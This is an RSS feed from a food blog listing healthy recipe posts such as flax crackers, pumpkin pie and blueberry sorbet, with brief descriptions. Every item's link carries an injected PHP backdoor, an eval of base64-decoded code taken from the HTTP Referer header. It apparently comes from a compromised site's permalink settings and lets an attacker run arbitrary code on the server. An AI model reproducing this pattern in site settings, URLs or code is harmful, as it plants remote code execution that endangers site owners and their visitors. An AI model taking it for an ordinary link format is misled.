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	<title>Delightful Eats</title>
	<link>http://www.delightfuleats.com</link>
	<description>food blog</description>
	<lastBuildDate>Fri, 12 Sep 2008 14:15:08 +0000</lastBuildDate>
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	<language>en</language>
	
	<item>
		<title>Flax Crackers Italiano</title>
		<description>

Flax is abundant in Essential Fatty Acids and fiber.  These crackers are perfect if you want something crispy and can not eat wheat and are tired of rice and corn.  These are simple to make and top off too!  All you need are whole flax seeds (golden ...</description>
		<link>http://www.delightfuleats.com/2008/04/29/flax-crackers-italiano/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Amazing Seed &#038; Oat Cookies</title>
		<description>




These Amazing cookies  provide sustained energy without a sugar crash and are even healthy enough to eat for breakfast. They are full of nutrients including healthy oils and protein from the seeds, and B vitamins form the oats and raisins. They are quick and easy to make from start ...</description>
		<link>http://www.delightfuleats.com/2008/01/31/amazing-seed-cookies/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Natural Pumpkin Pie</title>
		<description>



This is a very pure and dairy-free version of a pumpkin pie. It is crust free and a  souffle style pie, which makes it gluten-free as well.  The coconut milk makes it just creamy enough and you don't need to add any oil or butter because the natural ...</description>
		<link>http://www.delightfuleats.com/2008/01/31/natural-pumpkin-pie-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Sprouted Quinoa Tabouli Salad</title>
		<description>



This is a fresh live food dish, the ultimate goal of healthy eating is to eat something sprouted!  This is because the nutrients are alive and growing, with energy from the sun. If sprouts are eaten regularly you are giving your body nutritious enzymes to digest all other food ...</description>
		<link>http://www.delightfuleats.com/2007/09/14/sprouted-quinoa-tabouli-salad/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Blueberry Sorbetto</title>
		<description>



This vibrant purple sorbet is made with pure simple ingredients! Dairy, soy, sugar free. It is only made with frozen blueberries and bananas! Truly decadent it has a rich creamy and sweet taste from only nature.  It is low glycemic, fat free and extremely good for you, full of ...</description>
		<link>http://www.delightfuleats.com/2007/09/14/blueberry-sorbet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Chocolate Dipped Strawberries</title>
		<description>



Don't let homemade chocolate intimidate you! This version of chocolate is extremely heart healthy and their are no harmful additives or high does of pure sugars. Simply put this is a healthy good for you chocolate treat. The secret ingredient is using coconut oil, which is liquid above 75 degrees ...</description>
		<link>http://www.delightfuleats.com/2007/09/14/chocolate-dipped-strawberries-3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Eggplant Tapas</title>
		<description>



These delicious Mediterranean style Eggplant Tapas resemble a healthy and grain free alternative to bruschetta or small pizzas. They are very fresh and light, perfect for a get together with organic wine or an elegant side dish to grilled fish and salad. They require simple ingredients and quick assembly.

Ingredients:

	1 Eggplant
	1/4 ...</description>
		<link>http://www.delightfuleats.com/2007/09/14/eggplant-tapas-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Tropical Fruit Salad</title>
		<description>

Recipe Coming Soon! </description>
		<link>http://www.delightfuleats.com/2007/06/21/tropical-fruit-salad-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Pure Key Lime Pie</title>
		<description>

Recipe comeing soon! </description>
		<link>http://www.delightfuleats.com/2007/06/21/key-lime-pie-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Quiche Fresca</title>
		<description>

Recipe coming soon! </description>
		<link>http://www.delightfuleats.com/2007/06/21/quiche-fresca-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
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